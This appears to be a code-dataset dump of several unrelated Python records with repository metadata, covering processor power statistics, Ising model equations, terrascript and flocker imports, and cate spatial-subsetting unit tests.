'Execution Unit/Instruction Scheduler/Runtime Dynamic': 0.61199,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.114473,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 5.02895,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.110608,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.00749011,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.0852586,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.055394,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.195867,
'Execution Unit/Register Files/Runtime Dynamic': 0.0628841,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.202729,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.530004,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543,
'Execution Unit/Runtime Dynamic': 1.88554,
'Execution Unit/Subthreshold Leakage': 1.79543,
'Execution Unit/Subthreshold Leakage with power gating': 0.688821,
'Gate Leakage': 0.368936,
'Instruction Fetch Unit/Area': 5.85939,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 2.08214e-05,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 2.08214e-05,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 1.81718e-05,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 7.05448e-06,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.000795739,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.000855553,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.000198335,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0589979,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0532516,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 3.38726,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.131058,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.180867,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 5.77017,
'Instruction Fetch Unit/Runtime Dynamic': 0.36623,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932286,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.0378237,
'L2/Runtime Dynamic': 0.0104805,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80901,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 3.48482,
'Load Store Unit/Data Cache/Runtime Dynamic': 1.0922,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0350888,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.0727184,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.0727184,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 3.82821,
'Load Store Unit/Runtime Dynamic': 1.52354,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.179311,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.358623,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591321,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283293,
'Memory Management Unit/Area': 0.4339,
'Memory Management Unit/Dtlb/Area': 0.0879726,
'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729,
'Memory Management Unit/Dtlb/Peak Dynamic': 0.0636381,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0641909,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00808595,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
'Memory Management Unit/Itlb/Peak Dynamic': 0.210608,
'Memory Management Unit/Itlb/Runtime Dynamic': 0.0215304,
'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.476035,
'Memory Management Unit/Runtime Dynamic': 0.0857212,
'Memory Management Unit/Subthreshold Leakage': 0.0766103,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333,
'Peak Dynamic': 18.7307,
'Renaming Unit/Area': 0.303608,
'Renaming Unit/FP Front End RAT/Area': 0.131045,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.29096,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885,
'Renaming Unit/Free List/Area': 0.0340654,
'Renaming Unit/Free List/Gate Leakage': 2.5481e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0306032,
'Renaming Unit/Free List/Runtime Dynamic': 0.0115976,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064,
'Renaming Unit/Gate Leakage': 0.00708398,
'Renaming Unit/Int Front End RAT/Area': 0.0941223,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965,
'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.0855346,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228,
'Renaming Unit/Peak Dynamic': 3.58947,
'Renaming Unit/Runtime Dynamic': 0.388092,
'Renaming Unit/Subthreshold Leakage': 0.0552466,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461,
'Runtime Dynamic': 4.25961,
'Subthreshold Leakage': 6.16288,
'Subthreshold Leakage with power gating': 2.55328}],
'DRAM': {'Area': 0,
'Gate Leakage': 0,
'Peak Dynamic': 5.2798858658659835,
'Runtime Dynamic': 5.2798858658659835,
'Subthreshold Leakage': 4.252,
'Subthreshold Leakage with power gating': 4.252},
'L3': [{'Area': 61.9075,
'Gate Leakage': 0.0484137,
'Peak Dynamic': 0.285052,
'Runtime Dynamic': 0.0981743,
'Subthreshold Leakage': 6.80085,
'Subthreshold Leakage with power gating': 3.32364}],
'Processor': {'Area': 191.908,
'Gate Leakage': 1.53485,
'Peak Dynamic': 72.1046,
'Peak Power': 105.217,
'Runtime Dynamic': 14.5752,
'Subthreshold Leakage': 31.5774,
'Subthreshold Leakage with power gating': 13.9484,
'Total Cores/Area': 128.669,
'Total Cores/Gate Leakage': 1.4798,
'Total Cores/Peak Dynamic': 71.8195,
'Total Cores/Runtime Dynamic': 14.477,
'Total Cores/Subthreshold Leakage': 24.7074,
'Total Cores/Subthreshold Leakage with power gating': 10.2429,
'Total L3s/Area': 61.9075,
'Total L3s/Gate Leakage': 0.0484137,
'Total L3s/Peak Dynamic': 0.285052,
'Total L3s/Runtime Dynamic': 0.0981743,
'Total L3s/Subthreshold Leakage': 6.80085,
'Total L3s/Subthreshold Leakage with power gating': 3.32364,
'Total Leakage': 33.1122,
'Total NoCs/Area': 1.33155,
'Total NoCs/Gate Leakage': 0.00662954,
'Total NoCs/Peak Dynamic': 0.0,
'Total NoCs/Runtime Dynamic': 0.0,
'Total NoCs/Subthreshold Leakage': 0.0691322,
'Total NoCs/Subthreshold Leakage with power gating': 0.0259246}} | 75.106127 | 124 | 0.682142 | 8,090 | 68,647 | 5.782324 | 0.067738 | 0.123474 | 0.112871 | 0.093375 | 0.938648 | 0.931358 | 0.917335 | 0.887043 | 0.861198 | 0.841809 | 0 | 0.132267 | 0.224205 | 68,647 | 914 | 125 | 75.106127 | 0.746113 | 0 | 0 | 0.642232 | 0 | 0 | 0.657048 | 0.048071 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
1878ac98ff7f5d089bc2c1a19b3e8ebd8ab927a1 | 1,552 | py | Python | coniii/ising_eqn/ising_eqn_3.py | bcdaniels/coniii | 50218dc571135dd08b441361da33fed64a8eebc4 | [
"MIT"
] | 10 | 2018-01-26T09:52:17.000Z | 2019-04-02T13:34:53.000Z | coniii/ising_eqn/ising_eqn_3.py | bcdaniels/coniii | 50218dc571135dd08b441361da33fed64a8eebc4 | [
"MIT"
] | 19 | 2017-04-19T17:05:50.000Z | 2019-01-20T20:54:06.000Z | coniii/ising_eqn/ising_eqn_3.py | bcdaniels/coniii | 50218dc571135dd08b441361da33fed64a8eebc4 | [
"MIT"
] | 3 | 2017-04-19T16:58:05.000Z | 2018-10-22T19:14:04.000Z | # Equations of 3-spin Ising model.
# 30/12/2017
from numpy import zeros, exp
def calc_observables(params):
"""
Give each set of parameters concatenated into one array.
"""
Cout = zeros((6))
H = params[0:3]
J = params[3:6]
Z = +exp(+0)+exp(+H[2]+0)+exp(+H[1]+0)+exp(+H[1]+H[2]+J[2])+exp(+H[0]+0)+exp(+H[0]+H[2]+J[1])+exp(+H[0]+H[1]+J[0])+exp(+H[0]+H[1]+H[2]+J[0]+J[1]+J[2])
Cout[0] = (+exp(+H[0]+0)+exp(+H[0]+H[2]+J[1])+exp(+H[0]+H[1]+J[0])+exp(+H[0]+H[1]+H[2]+J[0]+J[1]+J[2]))/Z
Cout[1] = (+exp(+H[1]+0)+exp(+H[1]+H[2]+J[2])+exp(+H[0]+H[1]+J[0])+exp(+H[0]+H[1]+H[2]+J[0]+J[1]+J[2]))/Z
Cout[2] = (+exp(+H[2]+0)+exp(+H[1]+H[2]+J[2])+exp(+H[0]+H[2]+J[1])+exp(+H[0]+H[1]+H[2]+J[0]+J[1]+J[2]))/Z
Cout[3] = (+exp(+H[0]+H[1]+J[0])+exp(+H[0]+H[1]+H[2]+J[0]+J[1]+J[2]))/Z
Cout[4] = (+exp(+H[0]+H[2]+J[1])+exp(+H[0]+H[1]+H[2]+J[0]+J[1]+J[2]))/Z
Cout[5] = (+exp(+H[1]+H[2]+J[2])+exp(+H[0]+H[1]+H[2]+J[0]+J[1]+J[2]))/Z
return(Cout)
def p(params):
"""
Give each set of parameters concatenated into one array.
"""
Cout = zeros((6))
H = params[0:3]
J = params[3:6]
H = params[0:3]
J = params[3:6]
Pout = zeros((8))
Z = +exp(+0)+exp(+H[2]+0)+exp(+H[1]+0)+exp(+H[1]+H[2]+J[2])+exp(+H[0]+0)+exp(+H[0]+H[2]+J[1])+exp(+H[0]+H[1]+J[0])+exp(+H[0]+H[1]+H[2]+J[0]+J[1]+J[2])
Pout[0] = +exp(+0)/Z
Pout[1] = +exp(+H[2]+0)/Z
Pout[2] = +exp(+H[1]+0)/Z
Pout[3] = +exp(+H[1]+H[2]+J[2])/Z
Pout[4] = +exp(+H[0]+0)/Z
Pout[5] = +exp(+H[0]+H[2]+J[1])/Z
Pout[6] = +exp(+H[0]+H[1]+J[0])/Z
Pout[7] = +exp(+H[0]+H[1]+H[2]+J[0]+J[1]+J[2])/Z
return(Pout)
| 35.272727 | 151 | 0.487758 | 417 | 1,552 | 1.81295 | 0.098321 | 0.206349 | 0.165344 | 0.166667 | 0.767196 | 0.767196 | 0.767196 | 0.724868 | 0.724868 | 0.701058 | 0 | 0.123748 | 0.099227 | 1,552 | 43 | 152 | 36.093023 | 0.417024 | 0.101804 | 0 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0 | 0.033333 | 0 | 0.1 | 0 | 0 | 0 | 1 | null | 1 | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
a1b15c9207f461b1353b1750961bcda6c7f13cf8 | 677 | py | Python | tests/test_provider_paultyng_git.py | mjuenema/python-terrascript | 6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d | [
"BSD-2-Clause"
] | 507 | 2017-07-26T02:58:38.000Z | 2022-01-21T12:35:13.000Z | tests/test_provider_paultyng_git.py | mjuenema/python-terrascript | 6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d | [
"BSD-2-Clause"
] | 135 | 2017-07-20T12:01:59.000Z | 2021-10-04T22:25:40.000Z | tests/test_provider_paultyng_git.py | mjuenema/python-terrascript | 6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d | [
"BSD-2-Clause"
] | 81 | 2018-02-20T17:55:28.000Z | 2022-01-31T07:08:40.000Z | # tests/test_provider_paultyng_git.py
# Automatically generated by tools/makecode.py (24-Sep-2021 15:17:00 UTC)
def test_provider_import():
import terrascript.provider.paultyng.git
def test_datasource_import():
from terrascript.data.paultyng.git import git_repository
# TODO: Shortcut imports without namespace for official and supported providers.
# TODO: This has to be moved into a required_providers block.
# def test_version_source():
#
# import terrascript.provider.paultyng.git
#
# t = terrascript.provider.paultyng.git.git()
# s = str(t)
#
# assert 'https://github.com/paultyng/terraform-provider-git' in s
# assert '0.1.0' in s
| 27.08 | 80 | 0.737075 | 95 | 677 | 5.136842 | 0.6 | 0.112705 | 0.155738 | 0.184426 | 0.147541 | 0 | 0 | 0 | 0 | 0 | 0 | 0.026408 | 0.161004 | 677 | 24 | 81 | 28.208333 | 0.832746 | 0.707533 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0.041667 | 0 | 1 | 0.5 | true | 0 | 1 | 0 | 1.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
a1bbc38447b081ce9bcfb0f6583cb5d3fa8219e6 | 897 | py | Python | flocker/ca/__init__.py | wallnerryan/flocker-profiles | bcd3ced8edf4af86a68070ff6a714c45f9f4913b | [
"Apache-2.0"
] | null | null | null | flocker/ca/__init__.py | wallnerryan/flocker-profiles | bcd3ced8edf4af86a68070ff6a714c45f9f4913b | [
"Apache-2.0"
] | null | null | null | flocker/ca/__init__.py | wallnerryan/flocker-profiles | bcd3ced8edf4af86a68070ff6a714c45f9f4913b | [
"Apache-2.0"
] | null | null | null | # Copyright ClusterHQ Inc. See LICENSE file for details.
"""
A minimal certificate authority.
"""
__all__ = [
"RootCredential", "ControlCredential", "NodeCredential", "UserCredential",
"ComparableKeyPair", "PathError", "CertificateAlreadyExistsError",
"KeyAlreadyExistsError", "EXPIRY_20_YEARS",
"AUTHORITY_CERTIFICATE_FILENAME", "AUTHORITY_KEY_FILENAME",
"amp_server_context_factory", "rest_api_context_factory",
"ControlServicePolicy", "treq_with_authentication",
]
from ._ca import (
RootCredential, ControlCredential, NodeCredential, UserCredential,
ComparableKeyPair, PathError, CertificateAlreadyExistsError,
KeyAlreadyExistsError, EXPIRY_20_YEARS,
AUTHORITY_CERTIFICATE_FILENAME, AUTHORITY_KEY_FILENAME,
)
from ._validation import (
amp_server_context_factory, rest_api_context_factory, ControlServicePolicy,
treq_with_authentication,
)
| 33.222222 | 79 | 0.787068 | 77 | 897 | 8.727273 | 0.519481 | 0.083333 | 0.133929 | 0.175595 | 0.839286 | 0.839286 | 0.839286 | 0.839286 | 0.839286 | 0.839286 | 0 | 0.005096 | 0.124861 | 897 | 26 | 80 | 34.5 | 0.850955 | 0.09922 | 0 | 0 | 0 | 0 | 0.37 | 0.22 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.111111 | 0 | 0.111111 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a1d1deef05bf19726a4cf36725272b3f5dbb42cc | 110 | py | Python | straph/dags/__init__.py | busyweaver/Straph | b97a7b99ffab2416eb81df11073cc927f648fa10 | [
"Apache-2.0"
] | 3 | 2021-05-24T16:23:51.000Z | 2021-08-07T20:14:53.000Z | straph/dags/__init__.py | busyweaver/Straph | b97a7b99ffab2416eb81df11073cc927f648fa10 | [
"Apache-2.0"
] | 1 | 2021-05-25T12:30:36.000Z | 2021-05-25T12:30:36.000Z | straph/dags/__init__.py | busyweaver/Straph | b97a7b99ffab2416eb81df11073cc927f648fa10 | [
"Apache-2.0"
] | 3 | 2021-05-25T09:04:43.000Z | 2021-11-02T16:27:23.000Z | from straph.dags.condensation_dag import *
from straph.dags.dag import *
from straph.dags.stable_dag import *
| 27.5 | 42 | 0.809091 | 17 | 110 | 5.117647 | 0.411765 | 0.344828 | 0.482759 | 0.436782 | 0.528736 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.109091 | 110 | 3 | 43 | 36.666667 | 0.887755 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
62ccd6f18c9ba90763afd79443482fef6b9f29b8 | 16,631 | py | Python | test/ops/test_subset.py | TomBlock/cate | 3924300a9d85f09fd40bc67b9f8a220230788d1c | [
"MIT"
] | null | null | null | test/ops/test_subset.py | TomBlock/cate | 3924300a9d85f09fd40bc67b9f8a220230788d1c | [
"MIT"
] | null | null | null | test/ops/test_subset.py | TomBlock/cate | 3924300a9d85f09fd40bc67b9f8a220230788d1c | [
"MIT"
] | 1 | 2019-02-14T13:49:37.000Z | 2019-02-14T13:49:37.000Z | """
Tests for subsetting operations
"""
from datetime import datetime
from unittest import TestCase
import numpy as np
import xarray as xr
from cate.core.op import OP_REGISTRY
from cate.ops import subset
from cate.util.misc import object_to_qualified_name
def assert_dataset_equal(expected, actual):
# this method is functionally equivalent to
# `assert expected == actual`, but it checks each aspect
# of equality separately for easier debugging
assert expected.equals(actual), (expected, actual)
class TestSubsetSpatial(TestCase):
def test_nominal(self):
"""
Test general 'most expected' use case functionality.
"""
dataset = xr.Dataset({
'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'lat': np.linspace(-89.5, 89.5, 180),
'lon': np.linspace(-179.5, 179.5, 360)})
actual = subset.subset_spatial(dataset, "-20, -10, 20, 10")
expected = xr.Dataset({
'first': (['lat', 'lon', 'time'], np.ones([20, 40, 6])),
'second': (['lat', 'lon', 'time'], np.ones([20, 40, 6])),
'lat': np.linspace(-9.5, 9.5, 20),
'lon': np.linspace(-19.5, 19.5, 40)})
assert_dataset_equal(expected, actual)
def test_inverted_dims_nominal(self):
"""
Test if the implementation is dimension order agnostic.
"""
# Inverted lat
dataset = xr.Dataset({
'first': (['lon', 'lat', 'time'], np.ones([360, 180, 6])),
'second': (['lon', 'lat', 'time'], np.ones([360, 180, 6])),
'lat': np.linspace(89.5, -89.5, 180),
'lon': np.linspace(-179.5, 179.5, 360)})
actual = subset.subset_spatial(dataset, "-20, -10, 20, 10")
expected = xr.Dataset({
'first': (['lon', 'lat', 'time'], np.ones([40, 20, 6])),
'second': (['lon', 'lat', 'time'], np.ones([40, 20, 6])),
'lat': np.linspace(9.5, -9.5, 20),
'lon': np.linspace(-19.5, 19.5, 40)})
assert_dataset_equal(expected, actual)
def test_generic_masked(self):
"""
Test using a generic Polygon and masking
"""
# Africa
a = str('POLYGON((-10.8984375 35.60371874069731,-19.16015625 '
'23.885837699861995,-20.56640625 17.14079039331665,-18.6328125 '
'7.536764322084079,-10.72265625 0.7031073524364783,10.37109375 '
'0.3515602939922709,10.37109375 -22.268764039073965,22.8515625 '
'-42.29356419217007,37.79296875 -27.21555620902968,49.39453125 '
'-3.5134210456400323,54.4921875 14.093957177836236,18.984375 '
'35.88905007936091,-10.8984375 35.60371874069731))')
dataset = xr.Dataset({
'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'lat': np.linspace(-89.5, 89.5, 180),
'lon': np.linspace(-179.5, 179.5, 360)})
actual = subset.subset_spatial(dataset, a)
# Gulf of Guinea
gog = actual.sel(method='nearest', **{'lon': 1.2, 'lat': -1.4})
self.assertTrue(np.isnan(gog['first']).all())
# Africa
self.assertTrue(1 == actual.sel(method='nearest', **{'lon': 20.7, 'lat': 6.15}))
def test_generic_masked_inverted(self):
"""
Test using a generic Polygon and masking
"""
# Africa
a = str('POLYGON((-10.8984375 35.60371874069731,-19.16015625 '
'23.885837699861995,-20.56640625 17.14079039331665,-18.6328125 '
'7.536764322084079,-10.72265625 0.7031073524364783,10.37109375 '
'0.3515602939922709,10.37109375 -22.268764039073965,22.8515625 '
'-42.29356419217007,37.79296875 -27.21555620902968,49.39453125 '
'-3.5134210456400323,54.4921875 14.093957177836236,18.984375 '
'35.88905007936091,-10.8984375 35.60371874069731))')
# Inverted lat
dataset = xr.Dataset({
'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'lat': np.linspace(89.5, -89.5, 180),
'lon': np.linspace(-179.5, 179.5, 360)})
actual = subset.subset_spatial(dataset, a)
# Gulf of Guinea
gog = actual.sel(method='nearest', **{'lon': 1.2, 'lat': -1.4})
self.assertTrue(np.isnan(gog['first']).all())
# Africa
self.assertTrue(1 == actual.sel(method='nearest', **{'lon': 20.7, 'lat': 6.15}))
def test_generic_not_masked(self):
"""
Test using a generic Polygon without masking
"""
# Africa
a = str('POLYGON((-10.8984375 35.60371874069731,-19.16015625 '
'23.885837699861995,-20.56640625 17.14079039331665,-18.6328125 '
'7.536764322084079,-10.72265625 0.7031073524364783,10.37109375 '
'0.3515602939922709,10.37109375 -22.268764039073965,22.8515625 '
'-42.29356419217007,37.79296875 -27.21555620902968,49.39453125 '
'-3.5134210456400323,54.4921875 14.093957177836236,18.984375 '
'35.88905007936091,-10.8984375 35.60371874069731))')
dataset = xr.Dataset({
'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'lat': np.linspace(-89.5, 89.5, 180),
'lon': np.linspace(-179.5, 179.5, 360)})
actual = subset.subset_spatial(dataset, a, mask=False)
# Gulf of Guinea
